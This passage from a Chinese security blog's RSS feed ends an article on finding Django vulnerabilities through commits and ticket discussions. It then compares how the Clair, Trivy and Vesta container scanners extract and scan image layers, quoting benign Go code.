0, 0, 0.04);">add_ordering</span>的传参内容过滤忽略RawSQL函数中col参数的过滤了导致的SQL注入，commit的链接为 <a href="https://github.com/django/django/pull/12669/files。以及CVE-2020-9402等等也都是忽略了对某template参数的过滤导致的漏洞的产生，具体分析文章链接为https://xz.aliyun.com/t/7403。查看对数据库操作的test测试样例也是一种不错的方法。" target="_blank">https://github.com/django/django/pull/12669/files。以及CVE-2020-9402等等也都是忽略了对某template参数的过滤导致的漏洞的产生，具体分析文章链接为https://xz.aliyun.com/t/7403。查看对数据库操作的test测试样例也是一种不错的方法。</a></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">Django ticket</strong></p><p>Django ticket是Django官方用来追踪问题所用的平台，同时也是很多开发者报告问题的平台。因此这里也有一些开发者报告的BUG而官方认为是漏洞，以及一些安全研究者上报的漏洞被官方认为是feature，因此发布在ticket里面。在这些对安全的讨论中，都出现了如下关键词&#34;security team&#34;，&#34;security issue&#34;以及&#34;security@...&#34;，因此我们可以使用Google搜索语法对这些讨论帖子做搜索</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">intext:<span class="code-snippet__string">&#34;security&#34;</span> inurl:<span class="code-snippet__string">&#34;code.djangoproject.com/ticket/&#34;</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">intext:<span class="code-snippet__string">&#34;security issue&#34;</span>|<span class="code-snippet__string">&#34;security issues&#34;</span> inurl:<span class="code-snippet__string">&#34;code.djangoproject.com/ticket/&#34;</span></span></code></pre></section><p><br/></p><p>例如</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.577762139338494" data-s="300,640" style="" data-type="png" data-w="1421" src="https://wechat2rss.xlab.app/img-proxy/?k=7a0414af&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmDg96kKBrkfWLiaaLkmHhzXDlmMqU7liclqmodARsXDriasfVaSLw8LkkAAPMBWKkywC5wrFb0yM7fAA%2F640%3Fwx_fmt%3Dpng"/></p><p>上述ticket报告了Django使用dbshell的时候报错会带出数据库的密码等敏感信息，但是Django安全团队认为这不算是一个安全问题，但是研究者也给出了应用场景：在使用Elastic、Graylog等组件的时候，有时候不能对--password进行混淆，因此会导致敏感信息泄漏。</p><p>同时也能看到开发者并不认为是安全问题的组件最终被定义为安全问题，例如<span style="font-size: 16px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">CVE-2020</span><span style="font-size: 16px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">-24583文件权限</span><span data-testid="page-header-vuln-id" style="box-sizing: border-box;">。起初该问题只是被开发者认为是一个bug，但最终被Django 安全团队定义为漏洞</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5277382645803699" data-s="300,640" style="" data-type="png" data-w="1406" src="https://wechat2rss.xlab.app/img-proxy/?k=83ebfc06&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmDxkMeySiaGic7nhKUc1Ip81cgnC9NRAQUPDA2TqZMlxkIswEjrLz9kl4QCxcicXaul8TC0myEibb4XTA%2F640%3Fwx_fmt%3Dpng"/></p><p>完整ticket连接如下</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">https:<span class="code-snippet__comment">//code.djangoproject.com/ticket/31921</span></span></code></pre></section><p><br/></p><p>其实浏览Django tickets讨论的feature也有着意想不到的收获</p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247483753">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=4807b543&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyMjMxOTI2MA%3D%3D%26mid%3D2247483753%26idx%3D1%26sn%3D10ad41d9d2633ec504862635f705c2b3%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 02 Mar 2023 10:37:00 +0800</pubDate>
    </item>
    <item>
      <title>镜像扫描Layer分析对比</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyMjMxOTI2MA==&amp;mid=2247483739&amp;idx=1&amp;sn=6ddc89d65f4db27291747fc4e1ea8d90</link>
      <description>本文主要为clair，trivy与vesta对layer整合和整合后文件扫描分析</description>
      <content:encoded><![CDATA[<p>
原创 <span>christa</span> <span>2023-01-01 16:28</span> <span style="display: inline-block;">湖南</span>
</p>

<p>本文主要为clair，trivy与vesta对layer整合和整合后文件扫描分析</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=84297ea6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F1OyozcSJjmBP7FricZpsEtmem5pmpjgEbZUlfN5QZ6KbjGky24vJCyy4VR2GGBJvddOz1rO9VNuGAiaIBfwRL9UQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="box-sizing: border-box;outline: 0px;margin-top: 0.5em;margin-bottom: 1em;max-width: 100%;overflow: auto;color: rgb(85, 85, 85);font-family: &#34;Varela Round&#34;, Menlo, Monaco, monospace, &#34;Lucida Console&#34;, sans-serif, &#34;Source Sans Pro&#34;, &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, &#34;Source Han Sans CN Regular&#34;, &#34;WenQuanYi Micro Hei&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;white-space: normal;background-color: rgb(255, 255, 255);"><br/></p><p style="box-sizing: border-box;outline: 0px;margin-top: 0.5em;margin-bottom: 1em;max-width: 100%;overflow: auto;color: rgb(85, 85, 85);font-family: &#34;Varela Round&#34;, Menlo, Monaco, monospace, &#34;Lucida Console&#34;, sans-serif, &#34;Source Sans Pro&#34;, &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, &#34;Source Han Sans CN Regular&#34;, &#34;WenQuanYi Micro Hei&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;white-space: normal;background-color: rgb(255, 255, 255);"><strong>0X00 前言</strong></p><p style="box-sizing: border-box;outline: 0px;margin-top: 0.5em;margin-bottom: 1em;max-width: 100%;overflow: auto;color: rgb(85, 85, 85);font-family: &#34;Varela Round&#34;, Menlo, Monaco, monospace, &#34;Lucida Console&#34;, sans-serif, &#34;Source Sans Pro&#34;, &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, &#34;Source Han Sans CN Regular&#34;, &#34;WenQuanYi Micro Hei&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;white-space: normal;background-color: rgb(255, 255, 255);">在编写vesta期间对比发现trivy的镜像扫描速度非常快，因此本文主要为clair，trivy与vesta对layer整合和整合后文件扫描分析。关于Docker Layer的原理本文不再赘述，其流程都可以简化为</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer">解压镜像<span class="code-snippet__selector-tag">tar</span>文件 <span class="code-snippet__selector-tag">-</span>&gt; 解析<span class="code-snippet__selector-tag">manifest</span><span class="code-snippet__selector-class">.json</span>文件 <span class="code-snippet__selector-tag">-</span>&gt; 依次对每一个<span class="code-snippet__selector-tag">layer</span>进行处理</span></code></pre></section><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="box-sizing: border-box;outline: 0px;margin-top: 0.5em;margin-bottom: 1em;max-width: 100%;overflow: auto;color: rgb(85, 85, 85);font-family: &#34;Varela Round&#34;, Menlo, Monaco, monospace, &#34;Lucida Console&#34;, sans-serif, &#34;Source Sans Pro&#34;, &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, &#34;Source Han Sans CN Regular&#34;, &#34;WenQuanYi Micro Hei&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;white-space: normal;background-color: rgb(255, 255, 255);"><strong>0X01 Clair</strong></p><p style="box-sizing: border-box;outline: 0px;margin-top: 0.5em;margin-bottom: 1em;max-width: 100%;overflow: auto;color: rgb(85, 85, 85);font-family: &#34;Varela Round&#34;, Menlo, Monaco, monospace, &#34;Lucida Console&#34;, sans-serif, &#34;Source Sans Pro&#34;, &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, &#34;Source Han Sans CN Regular&#34;, &#34;WenQuanYi Micro Hei&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;white-space: normal;background-color: rgb(255, 255, 255);">Clair作为一个老牌镜像扫描器，其出现也开辟了容器镜像扫描的道路。clair的核心引擎在claircore中，其在2022年7月9号采用了新的fetch Layer的方式，并且在2022年7月23号后删除了老旧的命令，具体可以参考commit，首先看看在这之前clair是如何解压分析layer的，大致流程如下</p><p style="box-sizing: border-box;outline: 0px;margin-top: 0.5em;margin-bottom: 1em;max-width: 100%;overflow: auto;color: rgb(85, 85, 85);font-family: &#34;Varela Round&#34;, Menlo, Monaco, monospace, &#34;Lucida Console&#34;, sans-serif, &#34;Source Sans Pro&#34;, &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, &#34;Source Han Sans CN Regular&#34;, &#34;WenQuanYi Micro Hei&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;white-space: normal;background-color: rgb(255, 255, 255);"> </p><p style="box-sizing: border-box;outline: 0px;margin-top: 0.5em;margin-bottom: 1em;max-width: 100%;overflow: auto;color: rgb(85, 85, 85);font-family: &#34;Varela Round&#34;, Menlo, Monaco, monospace, &#34;Lucida Console&#34;, sans-serif, &#34;Source Sans Pro&#34;, &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, &#34;Source Han Sans CN Regular&#34;, &#34;WenQuanYi Micro Hei&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;white-space: normal;background-color: rgb(255, 255, 255);"><img class="rich_pages wxw-img" data-ratio="0.6710003611412062" style="box-sizing: border-box;outline: 0px;margin-right: auto;margin-left: auto;border-width: 0px;border-style: initial;border-color: initial;background: none 0px 0px;transition: all 0.25s ease 0s;display: block;border-radius: 4px;" data-type="png" data-w="2769" src="https://wechat2rss.xlab.app/img-proxy/?k=aaea5a42&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmBP7FricZpsEtmem5pmpjgEbbZeKJEjVgzycd2PdpaSHgtJYkbMXnH6S8ibric17JiaaiaXpFb2zrS4GFA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;outline: 0px;margin-top: 0.5em;margin-bottom: 1em;max-width: 100%;overflow: auto;color: rgb(85, 85, 85);white-space: normal;"><span style="font-family: &#34;Varela Round&#34;, Menlo, Monaco, monospace, &#34;Lucida Console&#34;, sans-serif, &#34;Source Sans Pro&#34;, &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, &#34;Source Han Sans CN Regular&#34;, &#34;WenQuanYi Micro Hei&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;background-color: rgb(255, 255, 255);">可以看到最开始由</span><span style="font-family: &#34;Varela Round&#34;, Menlo, Monaco, monospace, &#34;Lucida Console&#34;, sans-serif, &#34;Source Sans Pro&#34;, &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, &#34;Source Han Sans CN Regular&#34;, &#34;WenQuanYi Micro Hei&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;"><code>/cmd/cctool/unpack.go</code></span><span style="font-family: &#34;Varela Round&#34;, Menlo, Monaco, monospace, &#34;Lucida Console&#34;, sans-serif, &#34;Source Sans Pro&#34;, &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, &#34;Source Han Sans CN Regular&#34;, &#34;WenQuanYi Micro Hei&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;background-color: rgb(255, 255, 255);">对</span><span style="font-family: &#34;Varela Round&#34;, Menlo, Monaco, monospace, &#34;Lucida Console&#34;, sans-serif, &#34;Source Sans Pro&#34;, &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, &#34;Source Han Sans CN Regular&#34;, &#34;WenQuanYi Micro Hei&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;">tar</span><span style="font-family: &#34;Varela Round&#34;, Menlo, Monaco, monospace, &#34;Lucida Console&#34;, sans-serif, &#34;Source Sans Pro&#34;, &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, &#34;Source Han Sans CN Regular&#34;, &#34;WenQuanYi Micro Hei&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;background-color: rgb(255, 255, 255);">文件的所有layer解压，之后通过<code>./layer.go</code>文件中<code>Files</code>函数对每一个解压的文件进行内容查找。即每一层对File传入想要查找的文件内容，之后将查找到的文件内容以<code>map[string]*bytes.Buffer</code>的形式返回，具体的代码如下</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="go"><code><span class="code-snippet_outer">f := <span class="code-snippet__built_in">make</span>(<span class="code-snippet__keyword">map</span>[<span class="code-snippet__keyword">string</span>]*bytes.Buffer)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">// Walk the fs. ReadFile will handle symlink resolution.</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> err := fs.WalkDir(sys, <span class="code-snippet__string">&#34;.&#34;</span>, <span class="code-snippet__function"><span class="code-snippet__keyword">func</span><span class="code-snippet__params">(p <span class="code-snippet__keyword">string</span>, d fs.DirEntry, err error)</span> <span class="code-snippet__title">error</span></span> {</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">switch</span> {</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">case</span> err != <span class="code-snippet__literal">nil</span>:</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> err</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">case</span> d.IsDir():</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">nil</span></span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> _, ok := want[p]; !ok {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">nil</span></span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__built_in">delete</span>(want, p)</span></code><code><span class="code-snippet_outer">  b, err := fs.ReadFile(sys, p)</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> err</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  f[p] = bytes.NewBuffer(b)</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">nil</span></span></code><code><span class="code-snippet_outer">}); err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">nil</span>, err</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">// If there&#39;s nothing in the &#34;f&#34; map, we didn&#39;t find anything.</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> <span class="code-snippet__built_in">len</span>(f) == <span class="code-snippet__number">0</span> {</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">nil</span>, ErrNotFound</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">return</span> f, <span class="code-snippet__literal">nil</span></span></code></pre></section><p style="box-sizing: border-box;outline: 0px;margin-top: 0.5em;margin-bottom: 1em;max-width: 100%;overflow: auto;color: rgb(85, 85, 85);font-family: &#34;Varela Round&#34;, Menlo, Monaco, monospace, &#34;Lucida Console&#34;, sans-serif, &#34;Source Sans Pro&#34;, &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, &#34;Source Han Sans CN Regular&#34;, &#34;WenQuanYi Micro Hei&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;white-space: normal;background-color: rgb(255, 255, 255);">可以看到，该方法有比较大的延迟性，查找一个文件需要每一个layer都扫描一遍，并且为了保证文件的有效性，即使当前layer存在指定文件，也需要继续完成所有layer文件的扫描。在新方法上面，主要增加了indexer文件夹，Layer的文件也从<code>/indexer/controller/fetchlayers.go</code>中的fetchLayers函数中获得，也从<code>/indexer/controller/reduce.go</code>的reduce函数扫描</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="go"><code><span class="code-snippet_outer"><span class="code-snippet__comment">// reduce determines which layers should be fetched/scanned and returns these layers</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">func</span> <span class="code-snippet__title">reduce</span><span class="code-snippet__params">(ctx context.Context, store indexer.Store, scnrs indexer.VersionedScanners, layers []*claircore.Layer)</span> <span class="code-snippet__params">([]*claircore.Layer, error)</span></span> {</span></code><code><span class="code-snippet_outer">  do := []*claircore.Layer{}</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">for</span> _, l := <span class="code-snippet__keyword">range</span> layers {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">for</span> _, scnr := <span class="code-snippet__keyword">range</span> scnrs {</span></code><code><span class="code-snippet_outer">      ok, err := store.LayerScanned(ctx, l.Hash, scnr)</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">        zlog.Debug(ctx).</span></code><code><span class="code-snippet_outer">          Stringer(<span class="code-snippet__string">&#34;layer&#34;</span>, l.Hash).</span></code><code><span class="code-snippet_outer">          Err(err).</span></code><code><span class="code-snippet_outer">          Msg(<span class="code-snippet__string">&#34;unable to lookup layer&#34;</span>)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">nil</span>, err</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">if</span> !ok {</span></code><code><span class="code-snippet_outer">        do = <span class="code-snippet__built_in">append</span>(do, l)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">break</span></span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">return</span> do, <span class="code-snippet__literal">nil</span></span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="box-sizing: border-box;outline: 0px;margin-top: 0.5em;margin-bottom: 1em;max-width: 100%;overflow: auto;color: rgb(85, 85, 85);font-family: &#34;Varela Round&#34;, Menlo, Monaco, monospace, &#34;Lucida Console&#34;, sans-serif, &#34;Source Sans Pro&#34;, &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, &#34;Source Han Sans CN Regular&#34;, &#34;WenQuanYi Micro Hei&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;white-space: normal;background-color: rgb(255, 255, 255);">同时也将layer处理成仿真的文件系统，利用fs.WalkDir进行文件的分析，但是每一个组件都进行了完整的文件系统扫描，导致了多次冗余的遍历，下图为WalkDir的搜索结果</p><p style="box-sizing: border-box;outline: 0px;margin-top: 0.5em;margin-bottom: 1em;max-width: 100%;overflow: auto;color: rgb(85, 85, 85);font-family: &#34;Varela Round&#34;, Menlo, Monaco, monospace, &#34;Lucida Console&#34;, sans-serif, &#34;Source Sans Pro&#34;, &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, &#34;Source Han Sans CN Regular&#34;, &#34;WenQuanYi Micro Hei&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;white-space: normal;background-color: rgb(255, 255, 255);"><img class="rich_pages wxw-img" data-ratio="0.5290368271954674" style="box-sizing: border-box;outline: 0px;margin-right: auto;margin-left: auto;border-width: 0px;border-style: initial;border-color: initial;background: none 0px 0px;transition: all 0.25s ease 0s;display: block;border-radius: 4px;" data-type="png" data-w="1412" src="https://wechat2rss.xlab.app/img-proxy/?k=e3368fe8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmBP7FricZpsEtmem5pmpjgEbJDWoYEaBbCaibCFUZGTVBYqT9RB1HHfQhIH0zgPNPRjSlHYNqciacJ1Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;outline: 0px;margin-top: 0.5em;margin-bottom: 1em;max-width: 100%;overflow: auto;color: rgb(85, 85, 85);font-family: &#34;Varela Round&#34;, Menlo, Monaco, monospace, &#34;Lucida Console&#34;, sans-serif, &#34;Source Sans Pro&#34;, &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, &#34;Source Han Sans CN Regular&#34;, &#34;WenQuanYi Micro Hei&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;white-space: normal;background-color: rgb(255, 255, 255);"><br/></p><p style="box-sizing: border-box;outline: 0px;margin-top: 0.5em;margin-bottom: 1em;max-width: 100%;overflow: auto;color: rgb(85, 85, 85);font-family: &#34;Varela Round&#34;, Menlo, Monaco, monospace, &#34;Lucida Console&#34;, sans-serif, &#34;Source Sans Pro&#34;, &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, &#34;Source Han Sans CN Regular&#34;, &#34;WenQuanYi Micro Hei&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;white-space: normal;background-color: rgb(255, 255, 255);"><br/></p><p style="box-sizing: border-box;outline: 0px;margin-top: 0.5em;margin-bottom: 1em;max-width: 100%;overflow: auto;color: rgb(85, 85, 85);font-family: &#34;Varela Round&#34;, Menlo, Monaco, monospace, &#34;Lucida Console&#34;, sans-serif, &#34;Source Sans Pro&#34;, &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, &#34;Source Han Sans CN Regular&#34;, &#34;WenQuanYi Micro Hei&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;white-space: normal;background-color: rgb(255, 255, 255);"><strong>0x02 Trivy</strong></p><p style="box-sizing: border-box;outline: 0px;margin-top: 0.5em;margin-bottom: 1em;max-width: 100%;overflow: auto;color: rgb(85, 85, 85);font-family: &#34;Varela Round&#34;, Menlo, Monaco, monospace, &#34;Lucida Console&#34;, sans-serif, &#34;Source Sans Pro&#34;, &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, &#34;Source Han Sans CN Regular&#34;, &#34;WenQuanYi Micro Hei&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;white-space: normal;background-color: rgb(255, 255, 255);">trivy作为一个新兴容器扫描器，其易用性和高性能成为了容器扫描工具的一款精品，用镜像ID作为输入参数例子，trivy的分析流程如下</p><p style="box-sizing: border-box;outline: 0px;margin-top: 0.5em;margin-bottom: 1em;max-width: 100%;overflow: auto;color: rgb(85, 85, 85);font-family: &#34;Varela Round&#34;, Menlo, Monaco, monospace, &#34;Lucida Console&#34;, sans-serif, &#34;Source Sans Pro&#34;, &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, &#34;Source Han Sans CN Regular&#34;, &#34;WenQuanYi Micro Hei&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;white-space: normal;background-color: rgb(255, 255, 255);"><img class="rich_pages wxw-img" data-ratio="0.9516883116883117" style="box-sizing: border-box;outline: 0px;margin-right: auto;margin-left: auto;border-width: 0px;border-style: initial;border-color: initial;background: none 0px 0px;transition: all 0.25s ease 0s;display: block;border-radius: 4px;" data-type="png" data-w="1925" src="https://wechat2rss.xlab.app/img-proxy/?k=e9dc304c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmBP7FricZpsEtmem5pmpjgEbm9cYDxFXfAMAIkToeX4UpzMtiaaEUquacocia8szpVjzQoaUXvY6doew%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;outline: 0px;margin-top: 0.5em;margin-bottom: 1em;max-width: 100%;overflow: auto;color: rgb(85, 85, 85);font-family: &#34;Varela Round&#34;, Menlo, Monaco, monospace, &#34;Lucida Console&#34;, sans-serif, &#34;Source Sans Pro&#34;, &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, &#34;Source Han Sans CN Regular&#34;, &#34;WenQuanYi Micro Hei&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;white-space: normal;background-color: rgb(255, 255, 255);">trivy使用了github.com/google/go-containerregistry/pkg/v1对layer进行提取，在Walk函数自定了函数对文件的类型进行分类。值得注意的是trivy对cache的使用次数非常多，每一个layer的分析以及单次镜像扫描使用了cache，在一个镜像扫描结束的时候tricy会将该次扫描的layer数据存入fanal的fanal.db中，可以从文件<code>/pkg/fanal/applier/applier.go</code>中的ApplyLayers函数看出。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="go"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">func</span> <span class="code-snippet__params">(a Applier)</span> <span class="code-snippet__title">ApplyLayers</span><span class="code-snippet__params">(imageID <span class="code-snippet__keyword">string</span>, layerKeys []<span class="code-snippet__keyword">string</span>)</span> <span class="code-snippet__params">(types.ArtifactDetail, error)</span></span> {</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">var</span> mergedKey <span class="code-snippet__keyword">string</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">// Try to restore the merged layer if the feature is enabled</span></span></code><code><span class="code-snippet_outer">  </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> a.cacheMergedLayer {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">var</span> err error</span></code><code><span class="code-snippet_outer">    mergedKey, err = calcMergedKey(layerKeys)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">return</span> types.ArtifactDetail{}, 